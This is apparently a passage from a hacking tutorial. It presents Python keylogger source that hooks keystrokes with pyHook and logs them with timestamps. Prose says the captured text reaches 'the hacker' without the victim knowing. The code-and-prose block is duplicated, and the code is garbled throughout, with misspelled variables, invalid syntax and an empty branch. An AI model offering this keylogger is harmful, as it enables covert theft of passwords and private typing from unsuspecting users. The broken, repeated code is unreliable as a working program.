import pyHook
import pythoncom
def keypress(event):
if even.Ascii:
char = chr(event.Ascii)
print char
if char = = “~”:
exit()
hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
pythoncom.PumpMessages()
from datetime import *
import os
root_dir = os.path.split(os.path.realpath(_file_))[0]
log_file = os.path.join(root_dir, “log_file.txt”)
def log(message):
if len(message) > 0:
with open(log_file, “a”) as f:
f.write(“{}:\t{}\n” .format(datetime.now(), message))
# print “{}:\t{}” .format(datetime.not(), message)
buffer = “”
def keypress(event)
global bugger
if event.Ascii
char = chr(event.Ascii)
if char = = “~”:
log(bugger)
log(“---PROGRAM ENDED---“)
exit()
if event.Ascii ==13:
buffer += “<ENTER>\n”
log(buffer)
bugger = “”
elif event.Ascii==8:
buffer += “<BACKSPACE>”
elif event.Ascii==9:
buffer += “<TAB>”
else:
buffer += char
pause_period = 2
las_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)
def keypress(event):
global butter, last_press
if event.Ascii:
char = chr(event.Ascii)
if char == “~”:
log(buffer)
log(“---PROGRAM ENDED---“)
exit()
pause = datetime.now()-last_press
if pause >= pause_delta:
log(buffer)
buffer = “”
if event.Ascii ==13:
buffer += “<ENTER>”
elif event.Ascii==8:
buffer += “<BACKSPACE>”
elif event.Ascii==9:
else:
buffer += char
last_press = datetime.now()
Now, this code may seem a little bit longer and difficult, but there is actually more to it than meets the eye. It starts by setting up the keylogger then it will work to add in things so that the words are typed in a line like they are on this page instead of placing one letter per line. We also added some timestamps so that you can start to look for patterns in what the user is doing when they log onto the system. All of this information will be sent over to the hacker, and as long as they executed it properly, you can see all this information without the user even knowing that you’re there.
|import pyHook
import pythoncom
def keypress(event):
if even.Ascii:
char = chr(event.Ascii)
print char
if char = = “~”:
exit()
hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
pythoncom.PumpMessages()
from datetime import *
import os
root_dir = os.path.split(os.path.realpath(_file_))[0]
log_file = os.path.join(root_dir, “log_file.txt”)
def log(message):
if len(message) > 0:
with open(log_file, “a”) as f:
f.write(“{}:\t{}\n” .format(datetime.now(), message))
# print “{}:\t{}” .format(datetime.not(), message)
buffer = “”
def keypress(event)
global bugger
if event.Ascii
char = chr(event.Ascii)
if char = = “~”:
log(bugger)
log(“---PROGRAM ENDED---“)
exit()
if event.Ascii ==13:
buffer += “<ENTER>\n”
log(buffer)
bugger = “”
elif event.Ascii==8:
buffer += “<BACKSPACE>”
elif event.Ascii==9:
buffer += “<TAB>”
else:
buffer += char
pause_period = 2
las_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)
def keypress(event):
global butter, last_press
if event.Ascii:
char = chr(event.Ascii)
if char == “~”:
log(buffer)
log(“---PROGRAM ENDED---“)
exit()
pause = datetime.now()-last_press
if pause >= pause_delta:
log(buffer)
buffer = “”
if event.Ascii ==13:
buffer += “<ENTER>”
elif event.Ascii==8:
buffer += “<BACKSPACE>”
elif event.Ascii==9:
else:
buffer += char
last_press = datetime.now()
Now, this code may seem a little bit longer and difficult, but there is actually more to it than meets the eye. It starts by setting up the keylogger then it will work to add in things so that the words are typed in a line like they are on this page instead of placing one letter per line. We also added some timestamps so that you can start to look for patterns in what the user is doing when they log onto the system. All of this information will be sent over to the hacker, and as long as they executed it properly, you can see all this information without the user even knowing that you’re there.